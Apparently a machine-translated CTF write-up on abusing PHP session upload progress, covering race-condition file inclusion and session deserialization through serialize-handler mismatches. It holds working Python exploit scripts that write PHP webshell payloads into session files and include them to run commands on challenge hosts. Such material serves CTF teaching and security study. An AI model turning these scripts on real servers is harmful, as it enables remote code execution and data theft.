preface
This article uses PHP_SESSION_UPLOAD_PROGRESS summarizes file inclusion and deserialization.
That is, the file inclusion and deserialization of PHP session
Introduction to session
Session is called "session control". The session object stores the attributes and configuration information required for a specific user session. In this way, when the user jumps between the Web pages of the application, the variables stored in the session object will not be lost, but will exist throughout the user session. When a user requests a Web page from an application, if the user does not have a session, the Web server will automatically create a session object. When a session expires or is abandoned, the server terminates the session. One of the most common uses of the session object is to store user preferences. For example, if the user indicates that he doesn't like viewing graphics, he can store this information in the session object
When visiting the website for the first time, seesion_ The start () function will create a unique Session ID and automatically save the Session ID to the client Cookie through the HTTP response header. At the same time, a file named Session ID is also created on the server side to save the Session information of the user. When the same user visits the website again, the Session ID saved in the Cookie will also be automatically carried over through the HTTP request header_ Instead of assigning a new Session ID, the start() function looks for a Session file with the same name as the Session ID in the server's hard disk, reads out the Session information previously saved for the user, and applies it in the current script to track the user
Contact between session and cookie:
The PHPSESSID in the cookie will be used as the file name of the server session sess__xxx, the browser directly finds the corresponding sessid in the server according to this
Storage mode of session in PHP
Direct release y4's summary
The contents of the session in php are not stored in memory, but in the form of files. The storage method is determined by the configuration item session save_ Handler, which is stored as a file by default.
php_serialize | The array is serialized by the serialize() function |
---|---|
php | Key name + vertical bar + value processed by serialize() function |
php_binary | The length of the key name corresponds to the ascii character + the key name + the value serialized by the serialize() function |
php. Some configurations in ini
session.save_path = "" -- set the storage path of the session
session.save_handler = "" – set the user-defined storage function. If you want to use a function other than PHP's built-in session storage mechanism, you can use this function (database, etc.)
session.auto_start boolen – specifies whether the session module starts a session at the beginning of the request. The default is 0. Do not start
session.serialize_handler string – defines the name of the processor used to serialize / deserialize. php is used by default
Session.php upload_ progress
Version: PHP5 More than 4
stay php.ini There are several default options 1. session.upload_progress.enabled = on 2. session.upload_progress.cleanup = on 3. session.upload_progress.prefix = "upload_progress_" 4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" 5. session.upload_progress.freq = "1%" 6. session.upload_progress.min_freq = "1" among enabled=on express upload_progress The function starts, which also means that when the browser uploads a file to the server, php The details of this file upload will be(Such as upload time, upload progress, etc)store in session among; cleanup=on Indicates that when the file upload is completed, php The corresponding will be emptied immediately session This option is very important for the contents of the file; name When it appears in the form, php The upload progress will be reported. The biggest advantage is that its value is controllable; prefix+name Express as session Key name in
The inclusion and deserialization of the session file is the use of session upload_ Progress, you can save the uploaded file information in the session
File contains
Session is generally configured by default upload_ progress. Cleanup = on causes the contents of the session file to be emptied immediately after the file is uploaded. We need to conduct conditional competition If it is off, there is no need to use conditional competition
script:
File upload
import requests import threading session = requests.session() sess = 'zzy' #The ID of the PHPSESSION that uploaded the file url1 = "http://74a4727a-4f34-4d21-bd52-95c73db10eed.challenge.ctf.show:8080/" url2 = "http://74a4727a-4f34-4d21-bd52-95c73db10eed.challenge.ctf.show:8080/upload/" data1 = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'# Incoming malicious code } file = { 'file': 'zzy' } cookies = { 'PHPSESSID': sess } def write(): while True: r = session.post(url1, data=data1, files=file, cookies=cookies) def read(): while True: r = session.get(url2) if 'flag' in r.text: print(r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()
File contains
import requests import threading import sys session = requests.session() sess = 'zzy' url1 = "http://0bd266c6-b013-4a9a-97b5-2a644856a1e5.challenge.ctf.show:8080/" url2 = 'http://0bd266c6-b013-4a9a-97b5-2a644856a1e5.challenge.ctf.show:8080/?file=/tmp/sess_' + sess # After file is the path of phpsession data1 = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>' } data2 = { '1': 'system("cat f*");' } file = { 'file': 'abc' } cookies = { 'PHPSESSID': sess } def write(): while True: r = session.post(url1, data=data1, files=file, cookies=cookies) def read(): while True: r = session.post(url2, data=data2) if 'ctfshow{' in r.text: print(r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()
The difference between the above two scripts
File upload, with url1 The content of, post towards phpsession Medium explosion flag,Then visit url2,Can trigger upload Lower index.php,Then to.user.ini,Again png Zhongqu include PHPSESSION To execute the command. If it's an incoming pony, url2 need post Content, execute command The file contains: url1 Content, to phpsession Write the pony in, and then pass url2 of file Parameter to include phpsession Path, plus url2 of post To execute the command and get flag.
There is also a script about the file
import io import requests import threading url = 'http://challenge-cfd946d2e06b103c.sandbox.ctfhub.com:10800' def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag_is_here_not_are_but_you_find");?>dotasts' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session): while True: response = session.get(url+'?file=/tmp/sess_flag') if 'dotasts' in response.text: print(response.text) break else: print('retry') if __name__ == '__main__': session = requests.session() write = threading.Thread(target=write, args=(session,)) write.daemon = True write.start() read(session)
Examples are CTF fifth space
ctfshow has a question. You can do the same
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__);
Utilization conditions:
1. There is a File Inclusion Vulnerability 2. know session File storage path, you can try the default path 3. With read and write session File permissions
Deserialization
$_ The SESSION variable is directly controllable
The storage format of the php engine is the key name 𞓜 serialized_string, while php_ The storage format of the serialize engine is serialized_string. If the program uses two engines to handle it separately, there will be a problem
experiment:
1.php:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['z3eyond'] = $_GET['a']; var_dump($_SESSION);
2.php
<?php ini_set('session.serialize_handler', 'php'); session_start(); class test{ public $name; function __wakeup(){ echo $this->name; } }
First visit 1 PHP, pass in the parameter a=|O:4:"test":1:{s:4:"name";s:7:"z3eyond";} Visit 2 PHP, be careful not to forget|
You will find 2 PHP appeared z3eyond
This is because 1 php is using php_ The serialize engine processes, so it will only treat '|' as a normal character. Then visit 2 php, because it uses the php engine, when it encounters' | ', it will be regarded as the separator between the key name and the value, resulting in ambiguity. As a result, it directly deserializes the value after' | 'when parsing the session file.
Why 1 PHP can trigger 2 PHP__ wakeup()?
My understanding is that 1.php in session_start()Start session, write session File, and then access 2.php,session_start(),Read session Documents. And because the engine is different, it causes__wakeup Different.
About session_start():
When the session automatically starts or passes session_start() When you start manually, PHP The session manager is called internally open and read Callback function. Session manager may be PHP By default, it may also be provided by the extension( SQLite perhaps Memcached Extension), or through session_set_save_handler() Set the user-defined session manager. adopt read The existing session data returned by the callback function (stored in a special serialization format), PHP The data is automatically deserialized and populated $_SESSION Super global variable
So we can use this to construct attacks
CTF Title:
$_ SESSION variable uncontrollable
CTFSHOW Spring Festival joy contest web7
Reference link
https://www.freebuf.com/vuls/202819.html https://blog.csdn.net/solitudi/article/details/113588692?spm=1001.2014.3001.5502 https://y4tacker.blog.csdn.net/article/details/113588692?spm=1001.2014.3001.5502